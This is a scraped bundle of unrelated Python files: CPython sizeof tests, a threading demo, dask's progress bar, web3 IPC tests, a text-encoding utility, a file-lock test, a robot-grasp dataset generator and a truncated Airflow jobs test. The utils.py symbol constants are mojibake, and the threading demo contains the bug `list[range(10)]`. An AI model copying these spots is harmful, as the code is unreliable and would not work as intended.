'2', '3']] for sample in samples: check(list(sample), vsize('Pn') + len(sample)*self.P) # sortwrapper (list) # XXX # cmpwrapper (list) # XXX # listiterator (list) check(iter([]), size('lP')) # listreverseiterator (list) check(reversed([]), size('nP')) # int check(0, vsize('')) check(1, vsize('') + self.longdigit) check(-1, vsize('') + self.longdigit) PyLong_BASE = 2**sys.int_info.bits_per_digit check(int(PyLong_BASE), vsize('') + 2*self.longdigit) check(int(PyLong_BASE**2-1), vsize('') + 2*self.longdigit) check(int(PyLong_BASE**2), vsize('') + 3*self.longdigit) # module check(unittest, size('PnPPP')) # None check(None, size('')) # NotImplementedType check(NotImplemented, size('')) # object check(object(), size('')) # property (descriptor object) class C(object): def getx(self): return self.__x def setx(self, value): self.__x = value def delx(self): del self.__x x = property(getx, setx, delx, "") check(x, size('4Pi')) # PyCapsule # XXX # rangeiterator check(iter(range(1)), size('4l')) # reverse check(reversed(''), size('nP')) # range check(range(1), size('4P')) check(range(66000), size('4P')) # set # frozenset PySet_MINSIZE = 8 samples = [[], range(10), range(50)] s = size('3nP' + PySet_MINSIZE*'nP' + '2nP') for sample in samples: minused = len(sample) if minused == 0: tmp = 1 # the computation of minused is actually a bit more complicated # but this suffices for the sizeof test minused = minused*2 newsize = PySet_MINSIZE while newsize <= minused: newsize = newsize << 1 if newsize <= 8: check(set(sample), s) check(frozenset(sample), s) else: check(set(sample), s + newsize*calcsize('nP')) check(frozenset(sample), s + newsize*calcsize('nP')) # setiterator check(iter(set()), size('P3n')) # slice check(slice(0), size('3P')) # super check(super(int), size('3P')) # tuple check((), vsize('')) check((1,2,3), vsize('') + 3*self.P) # type # static type: PyTypeObject fmt = 'P2nPI13Pl4Pn9Pn11PIPP' s = vsize(fmt) check(int, s) # class s = vsize(fmt + # PyTypeObject '3P' # PyAsyncMethods '36P' # PyNumberMethods '3P' # PyMappingMethods '10P' # PySequenceMethods '2P' # PyBufferProcs '4P') class newstyleclass(object): pass # Separate block for PyDictKeysObject with 8 keys and 5 entries check(newstyleclass, s + calcsize("2nP2n0P") + 8 + 5*calcsize("n2P")) # dict with shared keys check(newstyleclass().__dict__, size('nQ2P') + 5*self.P) o = newstyleclass() o.a = o.b = o.c = o.d = o.e = o.f = o.g = o.h = 1 # Separate block for PyDictKeysObject with 16 keys and 10 entries check(newstyleclass, s + calcsize("2nP2n0P") + 16 + 10*calcsize("n2P")) # dict with shared keys check(newstyleclass().__dict__, size('nQ2P') + 10*self.P) # unicode # each tuple contains a string and its expected character size # don't put any static strings here, as they may contain # wchar_t or UTF-8 representations samples = ['1'*100, '\xff'*50, '\u0100'*40, '\uffff'*100, '\U00010000'*30, '\U0010ffff'*100] asciifields = "nnbP" compactfields = asciifields + "nPn" unicodefields = compactfields + "P" for s in samples: maxchar = ord(max(s)) if maxchar < 128: L = size(asciifields) + len(s) + 1 elif maxchar < 256: L = size(compactfields) + len(s) + 1 elif maxchar < 65536: L = size(compactfields) + 2*(len(s) + 1) else: L = size(compactfields) + 4*(len(s) + 1) check(s, L) # verify that the UTF-8 size is accounted for s = chr(0x4000) # 4 bytes canonical representation check(s, size(compactfields) + 4) # compile() will trigger the generation of the UTF-8 # representation as a side effect compile(s, "<stdin>", "eval") check(s, size(compactfields) + 4 + 4) # TODO: add check that forces the presence of wchar_t representation # TODO: add check that forces layout of unicodefields # weakref import weakref check(weakref.ref(int), size('2Pn2P')) # weakproxy # XXX # weakcallableproxy check(weakref.proxy(int), size('2Pn2P')) def check_slots(self, obj, base, extra): expected = sys.getsizeof(base) + struct.calcsize(extra) if gc.is_tracked(obj) and not gc.is_tracked(base): expected += self.gc_headsize self.assertEqual(sys.getsizeof(obj), expected) def test_slots(self): # check all subclassable types defined in Objects/ that allow # non-empty __slots__ check = self.check_slots class BA(bytearray): __slots__ = 'a', 'b', 'c' check(BA(), bytearray(), '3P') class D(dict): __slots__ = 'a', 'b', 'c' check(D(x=[]), {'x': []}, '3P') class L(list): __slots__ = 'a', 'b', 'c' check(L(), [], '3P') class S(set): __slots__ = 'a', 'b', 'c' check(S(), set(), '3P') class FS(frozenset): __slots__ = 'a', 'b', 'c' check(FS(), frozenset(), '3P') from collections import OrderedDict class OD(OrderedDict): __slots__ = 'a', 'b', 'c' check(OD(x=[]), OrderedDict(x=[]), '3P') def test_pythontypes(self): # check all types defined in Python/ size = test.support.calcobjsize vsize = test.support.calcvobjsize check = self.check_sizeof # _ast.AST import _ast check(_ast.AST(), size('P')) try: raise TypeError except TypeError: tb = sys.exc_info()[2] # traceback if tb is not None: check(tb, size('2P2i')) # symtable entry # XXX # sys.flags check(sys.flags, vsize('') + self.P * len(sys.flags)) def test_asyncgen_hooks(self): old = sys.get_asyncgen_hooks() self.assertIsNone(old.firstiter) self.assertIsNone(old.finalizer) firstiter = lambda *a: None sys.set_asyncgen_hooks(firstiter=firstiter) hooks = sys.get_asyncgen_hooks() self.assertIs(hooks.firstiter, firstiter) self.assertIs(hooks[0], firstiter) self.assertIs(hooks.finalizer, None) self.assertIs(hooks[1], None) finalizer = lambda *a: None sys.set_asyncgen_hooks(finalizer=finalizer) hooks = sys.get_asyncgen_hooks() self.assertIs(hooks.firstiter, firstiter) self.assertIs(hooks[0], firstiter) self.assertIs(hooks.finalizer, finalizer) self.assertIs(hooks[1], finalizer) sys.set_asyncgen_hooks(*old) cur = sys.get_asyncgen_hooks() self.assertIsNone(cur.firstiter) self.assertIsNone(cur.finalizer) if __name__ == "__main__": unittest.main()
fc_functions.py
import queue,threading,concurrent.futures import concurrent.futures import time q = queue.Queue() # q = multip t1 = time.perf_counter() def consumer(): while True: item = q.get(True) print(f'Working on item{item}') time.sleep(0.5) t2 = time.perf_counter() print(f'Finished item{item} in {t2-t1}seconds') q.task_done() threading.Thread(target=consumer).start() # def producer(label): # time.sleep(5) # q.put(label) # for item in range(10): # threading.Thread(target=producer,args=(item,)).start() # print('producer is finished...') items = list[range(10)] def producer(item,timeout): time.sleep(0.5) q.put(item) with concurrent.futures.ThreadPoolExecutor(max_workers=5) as excutor: future_item = {excutor.submit(producer,item,30): item for item in items} print(type(future_item)) q.join() print('All work done')
progress.py
import contextlib import sys import threading import time from timeit import default_timer from ..callbacks import Callback def format_time(t): """Format seconds into a human readable form. >>> format_time(10.4) '10.4s' >>> format_time(1000.4) '16min 40.4s' """ m, s = divmod(t, 60) h, m = divmod(m, 60) if h: return "{0:2.0f}hr {1:2.0f}min {2:4.1f}s".format(h, m, s) elif m: return "{0:2.0f}min {1:4.1f}s".format(m, s) else: return "{0:4.1f}s".format(s) class ProgressBar(Callback): """A progress bar for dask. Parameters ---------- minimum : int, optional Minimum time threshold in seconds before displaying a progress bar. Default is 0 (always display) width : int, optional Width of the bar dt : float, optional Update resolution in seconds, default is 0.1 seconds Examples -------- Below we create a progress bar with a minimum threshold of 1 second before displaying. For cheap computations nothing is shown: >>> with ProgressBar(minimum=1.0): # doctest: +SKIP ... out = some_fast_computation.compute() But for expensive computations a full progress bar is displayed: >>> with ProgressBar(minimum=1.0): # doctest: +SKIP ... out = some_slow_computation.compute() [########################################] | 100% Completed | 10.4 s The duration of the last computation is available as an attribute >>> pbar = ProgressBar() # doctest: +SKIP >>> with pbar: # doctest: +SKIP ... out = some_computation.compute() [########################################] | 100% Completed | 10.4 s >>> pbar.last_duration # doctest: +SKIP 10.4 You can also register a progress bar so that it displays for all computations: >>> pbar = ProgressBar() # doctest: +SKIP >>> pbar.register() # doctest: +SKIP >>> some_slow_computation.compute() # doctest: +SKIP [########################################] | 100% Completed | 10.4 s """ def __init__(self, minimum=0, width=40, dt=0.1, out=None): if out is None: # Warning, on windows, stdout can still be None if # an application is started as GUI Application # https://docs.python.org/3/library/sys.html#sys.__stderr__ out = sys.stdout self._minimum = minimum self._width = width self._dt = dt self._file = out self.last_duration = 0 def _start(self, dsk): self._state = None self._start_time = default_timer() # Start background thread self._running = True self._timer = threading.Thread(target=self._timer_func) self._timer.daemon = True self._timer.start() def _pretask(self, key, dsk, state): self._state = state if self._file is not None: self._file.flush() def _finish(self, dsk, state, errored): self._running = False self._timer.join() elapsed = default_timer() - self._start_time self.last_duration = elapsed if elapsed < self._minimum: return if not errored: self._draw_bar(1, elapsed) else: self._update_bar(elapsed) if self._file is not None: self._file.write("\n") self._file.flush() def _timer_func(self): """Background thread for updating the progress bar""" while self._running: elapsed = default_timer() - self._start_time if elapsed > self._minimum: self._update_bar(elapsed) time.sleep(self._dt) def _update_bar(self, elapsed): s = self._state if not s: self._draw_bar(0, elapsed) return ndone = len(s["finished"]) ntasks = sum(len(s[k]) for k in ["ready", "waiting", "running"]) + ndone if ndone < ntasks: self._draw_bar(ndone / ntasks if ntasks else 0, elapsed) def _draw_bar(self, frac, elapsed): bar = "#" * int(self._width * frac) percent = int(100 * frac) elapsed = format_time(elapsed) msg = "\r[{0:<{1}}] | {2}% Completed | {3}".format( bar, self._width, percent, elapsed ) with contextlib.suppress(ValueError): if self._file is not None: self._file.write(msg) self._file.flush()
test_ipc_provider.py
import os import pathlib import pytest import socket import tempfile from threading import ( Thread, ) import time import uuid from cpc_fusion.auto.gethdev import ( w3, ) from cpc_fusion.middleware import ( construct_fixture_middleware, ) from cpc_fusion.providers.ipc import ( IPCProvider, ) @pytest.fixture def jsonrpc_ipc_pipe_path(): with tempfile.TemporaryDirectory() as temp_dir: ipc_path = os.path.join(temp_dir, '{0}.ipc'.format(uuid.uuid4())) try: yield ipc_path finally: if os.path.exists(ipc_path): os.remove(ipc_path) def test_ipc_no_path(): """ IPCProvider.isConnected() returns False when no path is supplied """ ipc = IPCProvider(None) assert ipc.isConnected() is False @pytest.fixture def simple_ipc_server(jsonrpc_ipc_pipe_path): serv = socket.socket(socket.AF_UNIX) serv.bind(jsonrpc_ipc_pipe_path) serv.listen(1) try: yield serv finally: serv.close() @pytest.fixture def serve_empty_result(simple_ipc_server): def reply(): connection, client_address = simple_ipc_server.accept() try: connection.recv(1024) connection.sendall(b'{"id":1, "result": {}') time.sleep(0.1) connection.sendall(b'}') finally: # Clean up the connection connection.close() simple_ipc_server.close() thd = Thread(target=reply, daemon=True) thd.start() try: yield finally: thd.join() def test_sync_waits_for_full_result(jsonrpc_ipc_pipe_path, serve_empty_result): provider = IPCProvider(pathlib.Path(jsonrpc_ipc_pipe_path), timeout=3) result = provider.make_request("method", []) assert result == {'id': 1, 'result': {}} provider._socket.sock.close() def test_web3_auto_gethdev(): assert isinstance(w3.providers[0], IPCProvider) return_block_with_long_extra_data = construct_fixture_middleware({ 'eth_getBlockByNumber': {'extraData': '0x' + 'ff' * 33}, }) w3.middleware_stack.inject(return_block_with_long_extra_data, layer=0) block = w3.eth.getBlock('latest') assert 'extraData' not in block assert block.proofOfAuthorityData == b'\xff' * 33
utils.py
# coding: utf-8 from __future__ import unicode_literals, division, absolute_import import io import six import regex import unicodedata from threading import Thread from collections import defaultdict from multiprocessing import Process, Pipe if six.PY2: from HTMLParser import HTMLParser HTML_PARSER = HTMLParser() else: import html NOSPACE = 'หฟ' ENCODED = '&' ONEUPPER = 'โ†‘' ALLUPPER = 'โ†Ÿ' SPACESYMBOL = 'ยท' NOBREAK = 'ยฌ' TAGSYMBOL = '@' ESCAPE_CHARS = set("หฟ&โ†‘โ†Ÿยทยฌ@#;0123456789") SPECIALSYMBOLS = set([NOSPACE, ENCODED, SPACESYMBOL, NOBREAK, TAGSYMBOL, ONEUPPER, ALLUPPER]) ALLOWEDCONTROLS = set(['\n', ' ', '\t']) SYMBOLRE = regex.compile(r"&#([0-9]+);") def unescape(text): if six.PY2: return HTML_PARSER.unescape(text) else: return html.unescape(text) def multiprocess(func, in_generator, processes=1): in_pipes = list(map(lambda x: Pipe(False), range(processes))) out_pipes = list(map(lambda x: Pipe(False), range(processes))) def writer(): pipe_cnt = 0 for obj in in_generator: in_pipes[pipe_cnt][1].send(obj) pipe_cnt += 1 if pipe_cnt >= processes: pipe_cnt = 0 for conn_recv, conn_send in in_pipes: conn_send.close() def proc_func(func, proc_num): for conn_recv, conn_send in in_pipes: conn_send.close() conn_recv = in_pipes[proc_num][0] conn_send = out_pipes[proc_num][1] while True: try: line = conn_recv.recv() except EOFError: break conn_send.send(func(line)) conn_send.close() procs = list(map(lambda x: Process(target=proc_func, args=(func, x)), range(processes))) for i in range(processes): procs[i].start() out_pipes[i][1].close() write_proc = Thread(target=writer) write_proc.start() current_pipe = 0 live_pipes = [True] * processes while True: if not any(live_pipes): break if live_pipes[current_pipe]: try: yield out_pipes[current_pipe][0].recv() except EOFError: live_pipes[current_pipe] = False current_pipe = current_pipe + 1 if current_pipe >= processes: current_pipe = 0 if six.PY2: class _ReadableWrapper(object): def __init__(self, raw): self._raw = raw def readable(self): return True def writable(self): return False def seekable(self): return True def __getattr__(self, name): return getattr(self._raw, name) def wrap_text_reader(stream, *args, **kwargs): # Note: order important here, as 'file' doesn't exist in Python 3 if six.PY2 and isinstance(stream, file): stream = io.BufferedReader(_ReadableWrapper(stream)) return io.TextIOWrapper(stream, *args, **kwargs) def normalize_text(text): return unicodedata.normalize('NFKC', text) def encode_symbol(ch): return r"&#%d;" % ord(ch) def encode_control_symbol(ch): if ch in SPECIALSYMBOLS: return encode_symbol(ch) if ch in ALLOWEDCONTROLS: return ch if unicodedata.category(ch)[0] in set(['C', 'Z']): return encode_symbol(ch) return ch def encode_controls(text): return "".join(encode_control_symbol(ch) for ch in text) def encode_with_alphabet_symbol(ch, alphabet): if ch not in alphabet: return encode_symbol(ch) return ch def encode_with_alphabet(text, alphabet): return "".join(encode_with_alphabet_symbol(ch, alphabet) for ch in text) def alphabet_from_tokens(word_counts, min_count=0): symbolcount = defaultdict(int) for token, val in six.iteritems(word_counts): for ch in token: symbolcount[ch] += val alphabet = {ch for ch, val in six.iteritems(symbolcount) if val >= min_count} alphabet |= ESCAPE_CHARS return alphabet def encode_tokens_with_alphabet(word_counts, alphabet): new_word_counts = defaultdict(int) for token, val in six.iteritems(word_counts): new_word_counts[encode_with_alphabet(token, alphabet)] += val return new_word_counts
test_filelock.py
import os import time import logging import multiprocessing import tempfile import library.python.filelock def _acquire_lock(lock_path, out_file_path): with library.python.filelock.FileLock(lock_path): with open(out_file_path, "a") as out: out.write("{}:{}\n".format(os.getpid(), time.time())) time.sleep(2) def test_filelock(): temp_dir = tempfile.mkdtemp() lock_path = os.path.join(temp_dir, "file.lock") out_file_path = os.path.join(temp_dir, "out.txt") process_count = 5 processes = [] for i in range(process_count): process = multiprocessing.Process(target=_acquire_lock, args=(lock_path, out_file_path)) process.start() processes.append(process) for process in processes: process.join() pids = [] times = [] with open(out_file_path) as out: content = out.read() logging.info("Times:\n%s", content) for line in content.strip().split("\n"): pid, time_val = line.split(":") pids.append(pid) times.append(float(time_val)) assert len(set(pids)) == process_count time1 = times.pop() while times: time2 = times.pop() assert int(time1) - int(time2) >= 2 time1 = time2 def test_filelock_init_aqcuired(): temp_dir = tempfile.mkdtemp() lock_path = os.path.join(temp_dir, "file.lock") with library.python.filelock.FileLock(lock_path): sublock = library.python.filelock.FileLock(lock_path) del sublock
generate-dataset-canny.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # Author : Hongzhuo Liang # E-mail : liang@informatik.uni-hamburg.de # Description: # Date : 20/05/2018 2:45 PM # File Name : generate-dataset-canny.py import numpy as np import sys import pickle from dexnet.grasping.quality import PointGraspMetrics3D from dexnet.grasping import GaussianGraspSampler, AntipodalGraspSampler, UniformGraspSampler, GpgGraspSampler from dexnet.grasping import RobotGripper, GraspableObject3D, GraspQualityConfigFactory, PointGraspSampler from autolab_core import YamlConfig from meshpy.obj_file import ObjFile from meshpy.sdf_file import SdfFile import os import multiprocessing import logging logging.getLogger().setLevel(logging.FATAL) os.makedirs("./generated_grasps", exist_ok=True) def get_file_name(file_dir_): file_list = [] for root, dirs, files in os.walk(file_dir_): if root.count("/") == file_dir_.count("/") + 1: file_list.append(root) file_list.sort() return file_list def do_job(i): object_name = file_list_all[i].split("/")[-1] good_grasp = multiprocessing.Manager().list() p_set = [multiprocessing.Process(target=worker, args=(i, 100, 20, good_grasp)) for _ in range(50)] # grasp_amount per friction: 20*40 [p.start() for p in p_set] [p.join() for p in p_set] good_grasp = list(good_grasp) if len(good_grasp) == 0: return good_grasp_file_name = "./generated_grasps/{}_{}_{}".format(filename_prefix, str(object_name), str(len(good_grasp))) with open(good_grasp_file_name + ".pickle", "wb") as f: pickle.dump(good_grasp, f) tmp = [] for grasp in good_grasp: grasp_config = grasp[0].configuration score_friction = grasp[1] score_canny = grasp[2] tmp.append(np.concatenate([grasp_config, [score_friction, score_canny]])) np.save(good_grasp_file_name + ".npy", np.array(tmp)) print("finished job ", object_name) def worker(i, sample_nums, grasp_amount, good_grasp): object_name = file_list_all[i][len(home_dir) + 35:] print("a worker of task {} start".format(object_name)) if grasp_sample_method == "uniform": ags = UniformGraspSampler(gripper, yaml_config) elif grasp_sample_method == "gaussian": ags = GaussianGraspSampler(gripper, yaml_config) elif grasp_sample_method == "antipodal": ags = AntipodalGraspSampler(gripper, yaml_config) elif grasp_sample_method == "gpg": ags = GpgGraspSampler(gripper, yaml_config) elif grasp_sample_method == "point": ags = PointGraspSampler(gripper, yaml_config) else: raise NameError("Can not support this sampler") print("Log: do job", i) if os.path.exists(str(file_list_all[i]) + "/google_512k/nontextured.obj"): of = ObjFile(str(file_list_all[i]) + "/google_512k/nontextured.obj") sf = SdfFile(str(file_list_all[i]) + "/google_512k/nontextured.sdf") else: print("can not find any obj or sdf file!") return mesh = of.read() sdf = sf.read() obj = GraspableObject3D(sdf, mesh) print("Log: opened object", i + 1, object_name) force_closure_quality_config = {} canny_quality_config = {} less_class = True # less class can accelerate the dataset generate if less_class: fc_list = np.array([2.0, 1.6, 0.6]) else: fc_list_sub1 = np.arange(2.0, 0.75, -0.4) fc_list_sub2 = np.arange(0.5, 0.36, -0.05) fc_list = np.concatenate([fc_list_sub1, fc_list_sub2]) fc_list = np.round(fc_list, 2) for value_fc in fc_list: value_fc = round(value_fc, 2) yaml_config["metrics"]["force_closure"]["friction_coef"] = value_fc yaml_config["metrics"]["robust_ferrari_canny"]["friction_coef"] = value_fc force_closure_quality_config[value_fc] = GraspQualityConfigFactory.create_config( yaml_config["metrics"]["force_closure"]) canny_quality_config[value_fc] = GraspQualityConfigFactory.create_config( yaml_config["metrics"]["robust_ferrari_canny"]) good_count_perfect = np.zeros(len(fc_list)) count = 0 minimum_grasp_per_fc = grasp_amount while np.sum(good_count_perfect < minimum_grasp_per_fc) != 0: grasps = ags.generate_grasps(obj, target_num_grasps=sample_nums, grasp_gen_mult=10, vis=False, random_approach_angle=True) count += len(grasps) for j in grasps: tmp, is_force_closure = False, False for ind_, value_fc in enumerate(fc_list): tmp = is_force_closure is_force_closure = PointGraspMetrics3D.grasp_quality(j, obj, force_closure_quality_config[value_fc], vis=False) if tmp and not is_force_closure: if good_count_perfect[ind_ - 1] < minimum_grasp_per_fc: canny_quality = PointGraspMetrics3D.grasp_quality(j, obj, canny_quality_config[fc_list[ind_ - 1]], vis=False) good_grasp.append((j, fc_list[ind_ - 1], canny_quality)) good_count_perfect[ind_ - 1] += 1 break elif is_force_closure and value_fc == fc_list[-1]: if good_count_perfect[ind_] < minimum_grasp_per_fc: canny_quality = PointGraspMetrics3D.grasp_quality(j, obj, canny_quality_config[value_fc], vis=False) good_grasp.append((j, value_fc, canny_quality)) good_count_perfect[ind_] += 1 break print("Object:{} GoodGrasp:{}".format(object_name, good_count_perfect)) object_name_len = len(object_name) object_name_ = str(object_name) + " " * (25 - object_name_len) if count == 0: good_grasp_rate = 0 else: good_grasp_rate = len(good_grasp) / count print("Gripper:{} Object:{} Rate:{:.4f} {}/{}". format(gripper_name, object_name_, good_grasp_rate, len(good_grasp), count)) if __name__ == "__main__": if len(sys.argv) > 1: filename_prefix = sys.argv[1] else: filename_prefix = "default" home_dir = os.environ["HOME"] file_dir = home_dir + "/code/PointNetGPD/PointNetGPD/data/ycb-tools/models/ycb" yaml_config = YamlConfig(home_dir + "/code/PointNetGPD/dex-net/test/config.yaml") gripper_name = "robotiq_85" gripper = RobotGripper.load(gripper_name, home_dir + "/code/PointNetGPD/dex-net/data/grippers") grasp_sample_method = "antipodal" file_list_all = get_file_name(file_dir) object_numbers = file_list_all.__len__() job_list = np.arange(object_numbers) job_list = list(job_list) pool_size = 1 # number of jobs did at same time assert (pool_size <= len(job_list)) # Initialize pool pool = [] for _ in range(pool_size): job_i = job_list.pop(0) pool.append(multiprocessing.Process(target=do_job, args=(job_i,))) [p.start() for p in pool] # refill while len(job_list) > 0: for ind, p in enumerate(pool): if not p.is_alive(): pool.pop(ind) job_i = job_list.pop(0) p = multiprocessing.Process(target=do_job, args=(job_i,)) p.start() pool.append(p) break print("All job done.")
test_jobs.py
# -*- coding: utf-8 -*- # # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import datetime import json import logging import multiprocessing import os import shutil import threading import time import unittest from tempfile import mkdtemp import psutil import six import sqlalchemy from mock import Mock, patch, MagicMock, PropertyMock from airflow.utils.db import create_session from airflow import AirflowException, settings, models from airflow import configuration from airflow.bin import cli import airflow.example_dags from airflow.executors import BaseExecutor, SequentialExecutor from airflow.jobs import BaseJob, BackfillJob, SchedulerJob, LocalTaskJob from airflow.models import DAG, DagModel, DagBag, DagRun, Pool, TaskInstance as TI from airflow.operators.bash_operator import BashOperator from airflow.operators.dummy_operator import DummyOperator from airflow.task.task_runner.base_task_runner import BaseTaskRunner from airflow.utils import timezone from airflow.utils.dag_processing import SimpleDag, SimpleDagBag, list_py_file_paths from airflow.utils.dates import days_ago from airflow.utils.db import provide_session from airflow.utils.net import get_hostname from airflow.utils.state import State from airflow.utils.timeout import timeout from tests.core import TEST_DAG_FOLDER from tests.executors.test_executor import TestExecutor configuration.load_test_config() logger = logging.getLogger(__name__) try: from unittest import mock except ImportError: try: import mock except ImportError: mock = None DEV_NULL = '/dev/null' DEFAULT_DATE = timezone.datetime(2016, 1, 1) TRY_NUMBER = 1 # Include the words "airflow" and "dag" in the file contents, # tricking airflow into thinking these # files contain a DAG (otherwise Airflow will skip them) PARSEABLE_DAG_FILE_CONTENTS = '"airflow DAG"' UNPARSEABLE_DAG_FILE_CONTENTS = 'airflow DAG' # Filename to be used for dags that are created in an ad-hoc manner and can be removed/ # created at runtime TEMP_DAG_FILENAME = "temp_dag.py" TEST_DAGS_FOLDER = os.path.join( os.path.dirname(os.path.realpath(__file__)), 'dags') class BaseJobTest(unittest.TestCase): class TestJob(BaseJob): __mapper_args__ = { 'polymorphic_identity': 'TestJob' } def __init__(self, cb): self.cb = cb super(BaseJobTest.TestJob, self).__init__() def _execute(self): return self.cb() def test_state_success(self): job = self.TestJob(lambda: True) job.run() self.assertEquals(job.state, State.SUCCESS) self.assertIsNotNone(job.end_date) def test_state_sysexit(self): import sys job = self.TestJob(lambda: sys.exit(0)) job.run() self.assertEquals(job.state, State.SUCCESS) self.assertIsNotNone(job.end_date) def test_state_failed(self): def abort(): raise RuntimeError("fail") job = self.TestJob(abort) with self.assertRaises(RuntimeError): job.run() self.assertEquals(job.state, State.FAILED) self.assertIsNotNone(job.end_date) class BackfillJobTest(unittest.TestCase): def setUp(self): self.parser = cli.CLIFactory.get_parser() self.dagbag = DagBag(include_examples=True) @unittest.skipIf('sqlite' in configuration.conf.get('core', 'sql_alchemy_conn'), "concurrent access not supported in sqlite") def test_trigger_controller_dag(self): dag = self.dagbag.get_dag('example_trigger_controller_dag') target_dag = self.dagbag.get_dag('example_trigger_target_dag') dag.clear() target_dag.clear() scheduler = SchedulerJob() queue = Mock() scheduler._process_task_instances(target_dag, queue=queue) self.assertFalse(queue.append.called) job = BackfillJob( dag=dag, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_first_depends_on_past=True ) job.run() scheduler = SchedulerJob() queue = Mock() scheduler._process_task_instances(target_dag, queue=queue) self.assertTrue(queue.append.called) target_dag.clear() dag.clear() @unittest.skipIf('sqlite' in configuration.conf.get('core', 'sql_alchemy_conn'), "concurrent access not supported in sqlite") def test_backfill_multi_dates(self): dag = self.dagbag.get_dag('example_bash_operator') dag.clear() job = BackfillJob( dag=dag, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=1), ignore_first_depends_on_past=True ) job.run() session = settings.Session() drs = session.query(DagRun).filter( DagRun.dag_id == 'example_bash_operator' ).order_by(DagRun.execution_date).all() self.assertTrue(drs[0].execution_date == DEFAULT_DATE) self.assertTrue(drs[0].state == State.SUCCESS) self.assertTrue(drs[1].execution_date == DEFAULT_DATE + datetime.timedelta(days=1)) self.assertTrue(drs[1].state == State.SUCCESS) dag.clear() session.close() @unittest.skipIf('sqlite' in configuration.conf.get('core', 'sql_alchemy_conn'), "concurrent access not supported in sqlite") def test_backfill_examples(self): """ Test backfilling example dags Try to backfill some of the example dags. Be careful, not all dags are suitable for doing this. For example, a dag that sleeps forever, or does not have a schedule won't work here since you simply can't backfill them. """ include_dags = { 'example_branch_operator', 'example_bash_operator', 'example_skip_dag', 'latest_only' } dags = [ dag for dag in self.dagbag.dags.values() if 'example_dags' in dag.full_filepath and dag.dag_id in include_dags ] for dag in dags: dag.clear( start_date=DEFAULT_DATE, end_date=DEFAULT_DATE) # Make sure that we have the dags that we want to test available # in the example_dags folder, if this assertion fails, one of the # dags in the include_dags array isn't available anymore self.assertEqual(len(include_dags), len(dags)) for i, dag in enumerate(sorted(dags, key=lambda d: d.dag_id)): logger.info('*** Running example DAG #{}: {}'.format(i, dag.dag_id)) job = BackfillJob( dag=dag, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_first_depends_on_past=True) job.run() def test_backfill_conf(self): dag = DAG( dag_id='test_backfill_conf', start_date=DEFAULT_DATE, schedule_interval='@daily') with dag: DummyOperator( task_id='op', dag=dag) dag.clear() executor = TestExecutor(do_update=True) conf = json.loads("""{"key": "value"}""") job = BackfillJob(dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=2), conf=conf) job.run() dr = DagRun.find(dag_id='test_backfill_conf') self.assertEqual(conf, dr[0].conf) def test_backfill_rerun_failed_tasks(self): dag = DAG( dag_id='test_backfill_rerun_failed', start_date=DEFAULT_DATE, schedule_interval='@daily') with dag: DummyOperator( task_id='test_backfill_rerun_failed_task-1', dag=dag) dag.clear() executor = TestExecutor(do_update=True) job = BackfillJob(dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=2), ) job.run() ti = TI(task=dag.get_task('test_backfill_rerun_failed_task-1'), execution_date=DEFAULT_DATE) ti.refresh_from_db() ti.set_state(State.FAILED) job = BackfillJob(dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=2), rerun_failed_tasks=True ) job.run() ti = TI(task=dag.get_task('test_backfill_rerun_failed_task-1'), execution_date=DEFAULT_DATE) ti.refresh_from_db() self.assertEquals(ti.state, State.SUCCESS) def test_backfill_rerun_upstream_failed_tasks(self): dag = DAG( dag_id='test_backfill_rerun_upstream_failed', start_date=DEFAULT_DATE, schedule_interval='@daily') with dag: t1 = DummyOperator(task_id='test_backfill_rerun_upstream_failed_task-1', dag=dag) t2 = DummyOperator(task_id='test_backfill_rerun_upstream_failed_task-2', dag=dag) t1.set_upstream(t2) dag.clear() executor = TestExecutor(do_update=True) job = BackfillJob(dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=2), ) job.run() ti = TI(task=dag.get_task('test_backfill_rerun_upstream_failed_task-1'), execution_date=DEFAULT_DATE) ti.refresh_from_db() ti.set_state(State.UPSTREAM_FAILED) job = BackfillJob(dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=2), rerun_failed_tasks=True ) job.run() ti = TI(task=dag.get_task('test_backfill_rerun_upstream_failed_task-1'), execution_date=DEFAULT_DATE) ti.refresh_from_db() self.assertEquals(ti.state, State.SUCCESS) def test_backfill_rerun_failed_tasks_without_flag(self): dag = DAG( dag_id='test_backfill_rerun_failed', start_date=DEFAULT_DATE, schedule_interval='@daily') with dag: DummyOperator( task_id='test_backfill_rerun_failed_task-1', dag=dag) dag.clear() executor = TestExecutor(do_update=True) job = BackfillJob(dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=2), ) job.run() ti = TI(task=dag.get_task('test_backfill_rerun_failed_task-1'), execution_date=DEFAULT_DATE) ti.refresh_from_db() ti.set_state(State.FAILED) job = BackfillJob(dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=2), rerun_failed_tasks=False ) with self.assertRaises(AirflowException): job.run() def test_backfill_ordered_concurrent_execute(self): dag = DAG( dag_id='test_backfill_ordered_concurrent_execute', start_date=DEFAULT_DATE, schedule_interval="@daily") with dag: op1 = DummyOperator(task_id='leave1') op2 = DummyOperator(task_id='leave2') op3 = DummyOperator(task_id='upstream_level_1') op4 = DummyOperator(task_id='upstream_level_2') op5 = DummyOperator(task_id='upstream_level_3') # order randomly op2.set_downstream(op3) 